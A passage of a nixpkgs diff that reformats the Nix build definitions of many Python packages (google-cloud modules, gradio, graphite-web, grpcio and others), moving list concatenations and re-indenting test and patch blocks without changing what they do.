-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/google-cloud-os-config/default.nix b/pkgs/development/python-modules/google-cloud-os-config/default.nix
index e2ed80d4ff81..13d90b31cabb 100644
--- a/pkgs/development/python-modules/google-cloud-os-config/default.nix
+++ b/pkgs/development/python-modules/google-cloud-os-config/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/google-cloud-pubsub/default.nix b/pkgs/development/python-modules/google-cloud-pubsub/default.nix
index 9c46626f6869..b069312777d4 100644
--- a/pkgs/development/python-modules/google-cloud-pubsub/default.nix
+++ b/pkgs/development/python-modules/google-cloud-pubsub/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     opentelemetry-sdk
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     libcst = [ libcst ];
diff --git a/pkgs/development/python-modules/google-cloud-redis/default.nix b/pkgs/development/python-modules/google-cloud-redis/default.nix
index 63d8477ec656..4d79906112e5 100644
--- a/pkgs/development/python-modules/google-cloud-redis/default.nix
+++ b/pkgs/development/python-modules/google-cloud-redis/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/google-cloud-resource-manager/default.nix b/pkgs/development/python-modules/google-cloud-resource-manager/default.nix
index 5c1f2dacc50e..8bc1b805b8f8 100644
--- a/pkgs/development/python-modules/google-cloud-resource-manager/default.nix
+++ b/pkgs/development/python-modules/google-cloud-resource-manager/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/google-cloud-secret-manager/default.nix b/pkgs/development/python-modules/google-cloud-secret-manager/default.nix
index 0e22cb8961cf..f7faf85844b3 100644
--- a/pkgs/development/python-modules/google-cloud-secret-manager/default.nix
+++ b/pkgs/development/python-modules/google-cloud-secret-manager/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/google-cloud-securitycenter/default.nix b/pkgs/development/python-modules/google-cloud-securitycenter/default.nix
index 211ab711d227..6e16c2775a7f 100644
--- a/pkgs/development/python-modules/google-cloud-securitycenter/default.nix
+++ b/pkgs/development/python-modules/google-cloud-securitycenter/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/google-cloud-shell/default.nix b/pkgs/development/python-modules/google-cloud-shell/default.nix
index d5928afbaaa8..8fd3e422f84b 100644
--- a/pkgs/development/python-modules/google-cloud-shell/default.nix
+++ b/pkgs/development/python-modules/google-cloud-shell/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     google-auth
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-spanner/default.nix b/pkgs/development/python-modules/google-cloud-spanner/default.nix
index 66b18afb7c96..84b13fe15202 100644
--- a/pkgs/development/python-modules/google-cloud-spanner/default.nix
+++ b/pkgs/development/python-modules/google-cloud-spanner/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage rec {
     proto-plus
     protobuf
     sqlparse
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     libcst = [ libcst ];
diff --git a/pkgs/development/python-modules/google-cloud-speech/default.nix b/pkgs/development/python-modules/google-cloud-speech/default.nix
index 66b485a8bfbe..b4e0c31324ad 100644
--- a/pkgs/development/python-modules/google-cloud-speech/default.nix
+++ b/pkgs/development/python-modules/google-cloud-speech/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-tasks/default.nix b/pkgs/development/python-modules/google-cloud-tasks/default.nix
index 0136e948a893..955a95b10b89 100644
--- a/pkgs/development/python-modules/google-cloud-tasks/default.nix
+++ b/pkgs/development/python-modules/google-cloud-tasks/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-texttospeech/default.nix b/pkgs/development/python-modules/google-cloud-texttospeech/default.nix
index 0eaa025c84d0..14250d29f124 100644
--- a/pkgs/development/python-modules/google-cloud-texttospeech/default.nix
+++ b/pkgs/development/python-modules/google-cloud-texttospeech/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-trace/default.nix b/pkgs/development/python-modules/google-cloud-trace/default.nix
index f2e1c6efe7fa..b12282050862 100644
--- a/pkgs/development/python-modules/google-cloud-trace/default.nix
+++ b/pkgs/development/python-modules/google-cloud-trace/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     google-cloud-testutils
diff --git a/pkgs/development/python-modules/google-cloud-translate/default.nix b/pkgs/development/python-modules/google-cloud-translate/default.nix
index 85c10647d378..7e24787e3b02 100644
--- a/pkgs/development/python-modules/google-cloud-translate/default.nix
+++ b/pkgs/development/python-modules/google-cloud-translate/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     google-cloud-testutils
diff --git a/pkgs/development/python-modules/google-cloud-videointelligence/default.nix b/pkgs/development/python-modules/google-cloud-videointelligence/default.nix
index ad71451b2fca..83dfca273117 100644
--- a/pkgs/development/python-modules/google-cloud-videointelligence/default.nix
+++ b/pkgs/development/python-modules/google-cloud-videointelligence/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     google-cloud-testutils
diff --git a/pkgs/development/python-modules/google-cloud-vision/default.nix b/pkgs/development/python-modules/google-cloud-vision/default.nix
index eecb0bc116d6..6a4eabc154c6 100644
--- a/pkgs/development/python-modules/google-cloud-vision/default.nix
+++ b/pkgs/development/python-modules/google-cloud-vision/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-vpc-access/default.nix b/pkgs/development/python-modules/google-cloud-vpc-access/default.nix
index 78364c4e2f54..cf3e1b5ac4e6 100644
--- a/pkgs/development/python-modules/google-cloud-vpc-access/default.nix
+++ b/pkgs/development/python-modules/google-cloud-vpc-access/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     google-auth
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-webrisk/default.nix b/pkgs/development/python-modules/google-cloud-webrisk/default.nix
index ae4d79f1fcf1..ab57ac6e3324 100644
--- a/pkgs/development/python-modules/google-cloud-webrisk/default.nix
+++ b/pkgs/development/python-modules/google-cloud-webrisk/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     google-auth
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix b/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix
index 8b9fa6f6c3ec..6c3b5225fe8a 100644
--- a/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix
+++ b/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-workflows/default.nix b/pkgs/development/python-modules/google-cloud-workflows/default.nix
index 399c24c3bf18..8e7f7eefbc64 100644
--- a/pkgs/development/python-modules/google-cloud-workflows/default.nix
+++ b/pkgs/development/python-modules/google-cloud-workflows/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-workstations/default.nix b/pkgs/development/python-modules/google-cloud-workstations/default.nix
index fb0e8a943c34..71ed7b41d810 100644
--- a/pkgs/development/python-modules/google-cloud-workstations/default.nix
+++ b/pkgs/development/python-modules/google-cloud-workstations/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-geo-type/default.nix b/pkgs/development/python-modules/google-geo-type/default.nix
index 799aa784e8bf..12ae057bd482 100644
--- a/pkgs/development/python-modules/google-geo-type/default.nix
+++ b/pkgs/development/python-modules/google-geo-type/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     google-auth
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   pythonImportsCheck = [ "google.geo.type" ];
 
diff --git a/pkgs/development/python-modules/google-maps-routing/default.nix b/pkgs/development/python-modules/google-maps-routing/default.nix
index 96bfbc5fa606..3f43ccf86f9d 100644
--- a/pkgs/development/python-modules/google-maps-routing/default.nix
+++ b/pkgs/development/python-modules/google-maps-routing/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     proto-plus
     protobuf
     google-geo-type
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   pythonImportsCheck = [ "google.maps.routing_v2" ];
 
diff --git a/pkgs/development/python-modules/google-resumable-media/default.nix b/pkgs/development/python-modules/google-resumable-media/default.nix
index 7323ae9bc69d..c18ed1e89a01 100644
--- a/pkgs/development/python-modules/google-resumable-media/default.nix
+++ b/pkgs/development/python-modules/google-resumable-media/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     mock
     pytest-asyncio
     pytestCheckHook
-  ] ++ optional-dependencies.requests;
+  ]
+  ++ optional-dependencies.requests;
 
   preCheck = ''
     # prevent shadowing imports
diff --git a/pkgs/development/python-modules/gotenberg-client/default.nix b/pkgs/development/python-modules/gotenberg-client/default.nix
index 2b4170463262..4f61fecef619 100644
--- a/pkgs/development/python-modules/gotenberg-client/default.nix
+++ b/pkgs/development/python-modules/gotenberg-client/default.nix
@@ -23,12 +23,11 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ hatchling ];
 
-  propagatedBuildInputs =
-    [
-      httpx
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ]
-    ++ httpx.optional-dependencies.http2;
+  propagatedBuildInputs = [
+    httpx
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ]
+  ++ httpx.optional-dependencies.http2;
 
   pythonImportsCheck = [ "gotenberg_client" ];
 
diff --git a/pkgs/development/python-modules/gpuctypes/default.nix b/pkgs/development/python-modules/gpuctypes/default.nix
index 9b3bb75434f9..0b7cd65334a8 100644
--- a/pkgs/development/python-modules/gpuctypes/default.nix
+++ b/pkgs/development/python-modules/gpuctypes/default.nix
@@ -45,22 +45,21 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ setuptools ];
 
-  postPatch =
-    ''
-      substituteInPlace gpuctypes/opencl.py \
-        --replace "ctypes.util.find_library('OpenCL')" "'${ocl-icd}/lib/libOpenCL.so'"
-    ''
-    # hipGetDevicePropertiesR0600 is a symbol from rocm-6. We are currently at rocm-5.
-    # We are not sure that this works. Remove when rocm gets updated to version 6.
-    + lib.optionalString rocmSupport ''
-      substituteInPlace gpuctypes/hip.py \
-        --replace "/opt/rocm/lib/libamdhip64.so" "${rocmPackages.clr}/lib/libamdhip64.so" \
-        --replace "/opt/rocm/lib/libhiprtc.so" "${rocmPackages.clr}/lib/libhiprtc.so" \
-        --replace "hipGetDevicePropertiesR0600" "hipGetDeviceProperties"
+  postPatch = ''
+    substituteInPlace gpuctypes/opencl.py \
+      --replace "ctypes.util.find_library('OpenCL')" "'${ocl-icd}/lib/libOpenCL.so'"
+  ''
+  # hipGetDevicePropertiesR0600 is a symbol from rocm-6. We are currently at rocm-5.
+  # We are not sure that this works. Remove when rocm gets updated to version 6.
+  + lib.optionalString rocmSupport ''
+    substituteInPlace gpuctypes/hip.py \
+      --replace "/opt/rocm/lib/libamdhip64.so" "${rocmPackages.clr}/lib/libamdhip64.so" \
+      --replace "/opt/rocm/lib/libhiprtc.so" "${rocmPackages.clr}/lib/libhiprtc.so" \
+      --replace "hipGetDevicePropertiesR0600" "hipGetDeviceProperties"
 
-      substituteInPlace gpuctypes/comgr.py \
-        --replace "/opt/rocm/lib/libamd_comgr.so" "${rocmPackages.rocm-comgr}/lib/libamd_comgr.so"
-    '';
+    substituteInPlace gpuctypes/comgr.py \
+      --replace "/opt/rocm/lib/libamd_comgr.so" "${rocmPackages.rocm-comgr}/lib/libamd_comgr.so"
+  '';
 
   pythonImportsCheck = [ "gpuctypes" ];
 
diff --git a/pkgs/development/python-modules/gql/default.nix b/pkgs/development/python-modules/gql/default.nix
index 7cb89529dbb1..ad304e4faaea 100644
--- a/pkgs/development/python-modules/gql/default.nix
+++ b/pkgs/development/python-modules/gql/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
     pytest-console-scripts
     pytestCheckHook
     vcrpy
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   optional-dependencies = {
     all = [
diff --git a/pkgs/development/python-modules/gradio/default.nix b/pkgs/development/python-modules/gradio/default.nix
index 49475bf7a193..c601165e6a60 100644
--- a/pkgs/development/python-modules/gradio/default.nix
+++ b/pkgs/development/python-modules/gradio/default.nix
@@ -148,32 +148,31 @@ buildPythonPackage rec {
     itsdangerous
   ];
 
-  nativeCheckInputs =
-    [
-      altair
-      boto3
-      docker
-      ffmpeg
-      gradio-pdf
-      hypothesis
-      ipython
-      mcp
-      pytest-asyncio
-      pytestCheckHook
-      respx
-      # shap is needed as well, but breaks too often
-      scikit-image
-      torch
-      tqdm
-      transformers
-      vega-datasets
+  nativeCheckInputs = [
+    altair
+    boto3
+    docker
+    ffmpeg
+    gradio-pdf
+    hypothesis
+    ipython
+    mcp
+    pytest-asyncio
+    pytestCheckHook
+    respx
+    # shap is needed as well, but breaks too often
+    scikit-image
+    torch
+    tqdm
+    transformers
+    vega-datasets
 
-      # mock calls to `shutil.which(...)`
-      (writeShellScriptBin "npm" "false")
-      writableTmpDirAsHomeHook
-    ]
-    ++ optional-dependencies.oauth
-    ++ pydantic.optional-dependencies.email;
+    # mock calls to `shutil.which(...)`
+    (writeShellScriptBin "npm" "false")
+    writableTmpDirAsHomeHook
+  ]
+  ++ optional-dependencies.oauth
+  ++ pydantic.optional-dependencies.email;
 
   preBuild = ''
     pnpm build
@@ -187,125 +186,123 @@ buildPythonPackage rec {
 
   # Add a pytest hook skipping tests that access network, marking them as "Expected fail" (xfail).
   # We additionally xfail FileNotFoundError, since the gradio devs often fail to upload test assets to pypi.
-  preCheck =
-    ''
-      cat ${./conftest-skip-network-errors.py} >> test/conftest.py
-    ''
-    # OSError: [Errno 24] Too many open files
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      ulimit -n 4096
-    '';
+  preCheck = ''
+    cat ${./conftest-skip-network-errors.py} >> test/conftest.py
+  ''
+  # OSError: [Errno 24] Too many open files
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    ulimit -n 4096
+  '';
 
-  disabledTests =
-    [
-      # Actually broken
-      "test_mount_gradio_app"
-      "test_processing_utils_backwards_compatibility" # type error
+  disabledTests = [
+    # Actually broken
+    "test_mount_gradio_app"
+    "test_processing_utils_backwards_compatibility" # type error
 
-      # requires network, it caught our xfail exception
-      "test_error_analytics_successful"
+    # requires network, it caught our xfail exception
+    "test_error_analytics_successful"
 
-      # Flaky, tries to pin dependency behaviour. Sensitive to dep versions
-      # These error only affect downstream use of the check dependencies.
-      "test_no_color"
-      "test_in_interface_as_output"
-      "test_should_warn_url_not_having_version"
+    # Flaky, tries to pin dependency behaviour. Sensitive to dep versions
+    # These error only affect downstream use of the check dependencies.
+    "test_no_color"
+    "test_in_interface_as_output"
+    "test_should_warn_url_not_having_version"
 
-      # Flaky, unknown reason
-      "test_in_interface"
+    # Flaky, unknown reason
+    "test_in_interface"
 
-      # shap is too often broken in nixpkgs
-      "test_shapley_text"
+    # shap is too often broken in nixpkgs
+    "test_shapley_text"
 
-      # fails without network
-      "test_download_if_url_correct_parse"
-      "test_encode_url_to_base64_doesnt_encode_errors"
+    # fails without network
+    "test_download_if_url_correct_parse"
+    "test_encode_url_to_base64_doesnt_encode_errors"
 
-      # flaky: OSError: Cannot find empty port in range: 7860-7959
-      "test_docs_url"
-      "test_orjson_serialization"
-      "test_dataset_is_updated"
-      "test_multimodal_api"
-      "test_examples_keep_all_suffixes"
-      "test_progress_bar"
-      "test_progress_bar_track_tqdm"
-      "test_info_and_warning_alerts"
-      "test_info_isolation[True]"
-      "test_info_isolation[False]"
-      "test_examples_no_cache_optional_inputs"
-      "test_start_server[127.0.0.1]"
-      "test_start_server[[::1]]"
-      "test_single_request"
-      "test_all_status_messages"
-      "test_default_concurrency_limits[not_set-statuses0]"
-      "test_default_concurrency_limits[None-statuses1]"
-      "test_default_concurrency_limits[1-statuses2]"
-      "test_default_concurrency_limits[2-statuses3]"
-      "test_concurrency_limits"
+    # flaky: OSError: Cannot find empty port in range: 7860-7959
+    "test_docs_url"
+    "test_orjson_serialization"
+    "test_dataset_is_updated"
+    "test_multimodal_api"
+    "test_examples_keep_all_suffixes"
+    "test_progress_bar"
+    "test_progress_bar_track_tqdm"
+    "test_info_and_warning_alerts"
+    "test_info_isolation[True]"
+    "test_info_isolation[False]"
+    "test_examples_no_cache_optional_inputs"
+    "test_start_server[127.0.0.1]"
+    "test_start_server[[::1]]"
+    "test_single_request"
+    "test_all_status_messages"
+    "test_default_concurrency_limits[not_set-statuses0]"
+    "test_default_concurrency_limits[None-statuses1]"
+    "test_default_concurrency_limits[1-statuses2]"
+    "test_default_concurrency_limits[2-statuses3]"
+    "test_concurrency_limits"
 
-      # tests if pip and other tools are installed
-      "test_get_executable_path"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # TypeError: argument should be a str or an os.PathLike object where __fspath__ returns a str, not 'NoneType'
-      "test_component_example_values"
-      "test_component_functions"
-      "test_public_request_pass"
+    # tests if pip and other tools are installed
+    "test_get_executable_path"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # TypeError: argument should be a str or an os.PathLike object where __fspath__ returns a str, not 'NoneType'
+    "test_component_example_values"
+    "test_component_functions"
+    "test_public_request_pass"
 
-      # Failed: DID NOT RAISE <class 'ValueError'>
-      # test.conftest.NixNetworkAccessDeniedError
-      "test_private_request_fail"
-      "test_theme_builder_launches"
+    # Failed: DID NOT RAISE <class 'ValueError'>
+    # test.conftest.NixNetworkAccessDeniedError
+    "test_private_request_fail"
+    "test_theme_builder_launches"
 
-      # flaky on darwin (depend on port availability)
-      "test_all_status_messages"
-      "test_async_generators"
-      "test_async_generators_interface"
-      "test_async_iterator_update_with_new_component"
-      "test_concurrency_limits"
-      "test_default_concurrency_limits"
-      "test_default_flagging_callback"
-      "test_end_to_end"
-      "test_end_to_end_cache_examples"
-      "test_event_data"
-      "test_every_does_not_block_queue"
-      "test_example_caching_relaunch"
-      "test_example_caching_relaunch"
-      "test_exit_called_at_launch"
-      "test_file_component_uploads"
-      "test_files_saved_as_file_paths"
-      "test_flagging_does_not_create_unnecessary_directories"
-      "test_flagging_no_permission_error_with_flagging_disabled"
-      "test_info_and_warning_alerts"
-      "test_info_isolation"
-      "test_launch_analytics_does_not_error_with_invalid_blocks"
-      "test_no_empty_audio_files"
-      "test_no_empty_image_files"
-      "test_no_empty_video_files"
-      "test_non_streaming_api"
-      "test_non_streaming_api_async"
-      "test_pil_images_hashed"
-      "test_progress_bar"
-      "test_progress_bar_track_tqdm"
-      "test_queue_when_using_auth"
-      "test_restart_after_close"
-      "test_set_share_in_colab"
-      "test_show_error"
-      "test_simple_csv_flagging_callback"
-      "test_single_request"
-      "test_socket_reuse"
-      "test_start_server"
-      "test_state_holder_is_used_in_postprocess"
-      "test_state_stored_up_to_capacity"
-      "test_static_files_single_app"
-      "test_streaming_api"
-      "test_streaming_api_async"
-      "test_streaming_api_with_additional_inputs"
-      "test_sync_generators"
-      "test_time_to_live_and_delete_callback_for_state"
-      "test_updates_stored_up_to_capacity"
-      "test_varying_output_forms_with_generators"
-    ];
+    # flaky on darwin (depend on port availability)
+    "test_all_status_messages"
+    "test_async_generators"
+    "test_async_generators_interface"
+    "test_async_iterator_update_with_new_component"
+    "test_concurrency_limits"
+    "test_default_concurrency_limits"
+    "test_default_flagging_callback"
+    "test_end_to_end"
+    "test_end_to_end_cache_examples"
+    "test_event_data"
+    "test_every_does_not_block_queue"
+    "test_example_caching_relaunch"
+    "test_example_caching_relaunch"
+    "test_exit_called_at_launch"
+    "test_file_component_uploads"
+    "test_files_saved_as_file_paths"
+    "test_flagging_does_not_create_unnecessary_directories"
+    "test_flagging_no_permission_error_with_flagging_disabled"
+    "test_info_and_warning_alerts"
+    "test_info_isolation"
+    "test_launch_analytics_does_not_error_with_invalid_blocks"
+    "test_no_empty_audio_files"
+    "test_no_empty_image_files"
+    "test_no_empty_video_files"
+    "test_non_streaming_api"
+    "test_non_streaming_api_async"
+    "test_pil_images_hashed"
+    "test_progress_bar"
+    "test_progress_bar_track_tqdm"
+    "test_queue_when_using_auth"
+    "test_restart_after_close"
+    "test_set_share_in_colab"
+    "test_show_error"
+    "test_simple_csv_flagging_callback"
+    "test_single_request"
+    "test_socket_reuse"
+    "test_start_server"
+    "test_state_holder_is_used_in_postprocess"
+    "test_state_stored_up_to_capacity"
+    "test_static_files_single_app"
+    "test_streaming_api"
+    "test_streaming_api_async"
+    "test_streaming_api_with_additional_inputs"
+    "test_sync_generators"
+    "test_time_to_live_and_delete_callback_for_state"
+    "test_updates_stored_up_to_capacity"
+    "test_varying_output_forms_with_generators"
+  ];
 
   disabledTestPaths = [
     # 100% touches network
diff --git a/pkgs/development/python-modules/graph-tool/default.nix b/pkgs/development/python-modules/graph-tool/default.nix
index 3cc2c2394f64..cd96ac773252 100644
--- a/pkgs/development/python-modules/graph-tool/default.nix
+++ b/pkgs/development/python-modules/graph-tool/default.nix
@@ -73,7 +73,8 @@ buildPythonPackage rec {
     pygobject3
     scipy
     sparsehash
-  ] ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   pythonImportsCheck = [ "graph_tool" ];
 
diff --git a/pkgs/development/python-modules/graphene-django/default.nix b/pkgs/development/python-modules/graphene-django/default.nix
index 7cc96eab7712..971964031a73 100644
--- a/pkgs/development/python-modules/graphene-django/default.nix
+++ b/pkgs/development/python-modules/graphene-django/default.nix
@@ -61,18 +61,17 @@ buildPythonPackage rec {
     pytest7CheckHook
   ];
 
-  disabledTests =
-    [
-      # https://github.com/graphql-python/graphene-django/issues/1510
-      "test_should_filepath_convert_string"
-      "test_should_choice_convert_enum"
-      "test_should_multiplechoicefield_convert_to_list_of_enum"
-      "test_perform_mutate_success_with_enum_choice_field"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # this test touches files in the "/" directory and fails in darwin sandbox
-      "test_should_filepath_convert_string"
-    ];
+  disabledTests = [
+    # https://github.com/graphql-python/graphene-django/issues/1510
+    "test_should_filepath_convert_string"
+    "test_should_choice_convert_enum"
+    "test_should_multiplechoicefield_convert_to_list_of_enum"
+    "test_perform_mutate_success_with_enum_choice_field"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # this test touches files in the "/" directory and fails in darwin sandbox
+    "test_should_filepath_convert_string"
+  ];
 
   meta = with lib; {
     description = "Integrate GraphQL into your Django project";
diff --git a/pkgs/development/python-modules/graphite-web/default.nix b/pkgs/development/python-modules/graphite-web/default.nix
index 61fd0f7ba22b..19bf7f0fb368 100644
--- a/pkgs/development/python-modules/graphite-web/default.nix
+++ b/pkgs/development/python-modules/graphite-web/default.nix
@@ -41,19 +41,18 @@ buildPythonPackage {
     hash = "sha256-TxsQPhnI5WhQvKKkDEYZ8xnyg/qf+N9Icej6d6A0jC0=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace webapp/graphite/settings.py \
-        --replace-fail \
-          "join(WEBAPP_DIR, 'content')" \
-          "join('$out/webapp', 'content')"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace webapp/tests/test_dashboard.py \
-        --replace-fail "test_dashboard_email" "_dont_test_dashboard_email"
-      substituteInPlace webapp/tests/test_render.py \
-        --replace-fail "test_render_view" "_dont_test_render_view"
-    '';
+  postPatch = ''
+    substituteInPlace webapp/graphite/settings.py \
+      --replace-fail \
+        "join(WEBAPP_DIR, 'content')" \
+        "join('$out/webapp', 'content')"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace webapp/tests/test_dashboard.py \
+      --replace-fail "test_dashboard_email" "_dont_test_dashboard_email"
+    substituteInPlace webapp/tests/test_render.py \
+      --replace-fail "test_render_view" "_dont_test_render_view"
+  '';
 
   dependencies = [
     cairocffi
diff --git a/pkgs/development/python-modules/great-expectations/default.nix b/pkgs/development/python-modules/great-expectations/default.nix
index fe2f4f5274c5..d01714eb2187 100644
--- a/pkgs/development/python-modules/great-expectations/default.nix
+++ b/pkgs/development/python-modules/great-expectations/default.nix
@@ -85,24 +85,23 @@ buildPythonPackage rec {
     "posthog"
   ];
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-      pytest-mock
-      pytest-order
-      pytest-random-order
-      click
-      flaky
-      freezegun
-      invoke
-      moto
-      psycopg2
-      requirements-parser
-      responses
-      sqlalchemy
-    ]
-    ++ moto.optional-dependencies.s3
-    ++ moto.optional-dependencies.sns;
+  nativeCheckInputs = [
+    pytestCheckHook
+    pytest-mock
+    pytest-order
+    pytest-random-order
+    click
+    flaky
+    freezegun
+    invoke
+    moto
+    psycopg2
+    requirements-parser
+    responses
+    sqlalchemy
+  ]
+  ++ moto.optional-dependencies.s3
+  ++ moto.optional-dependencies.sns;
 
   disabledTestPaths = [
     # try to access external URLs:
diff --git a/pkgs/development/python-modules/grpcio/default.nix b/pkgs/development/python-modules/grpcio/default.nix
index 3f2d0a76a5aa..09a7ecbb1ec6 100644
--- a/pkgs/development/python-modules/grpcio/default.nix
+++ b/pkgs/development/python-modules/grpcio/default.nix
@@ -48,16 +48,15 @@ buildPythonPackage rec {
 
   dependencies = [ protobuf ];
 
-  preBuild =
-    ''
-      export GRPC_PYTHON_BUILD_EXT_COMPILER_JOBS="$NIX_BUILD_CORES"
-      if [ -z "$enableParallelBuilding" ]; then
-        GRPC_PYTHON_BUILD_EXT_COMPILER_JOBS=1
-      fi
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      unset AR
-    '';
+  preBuild = ''
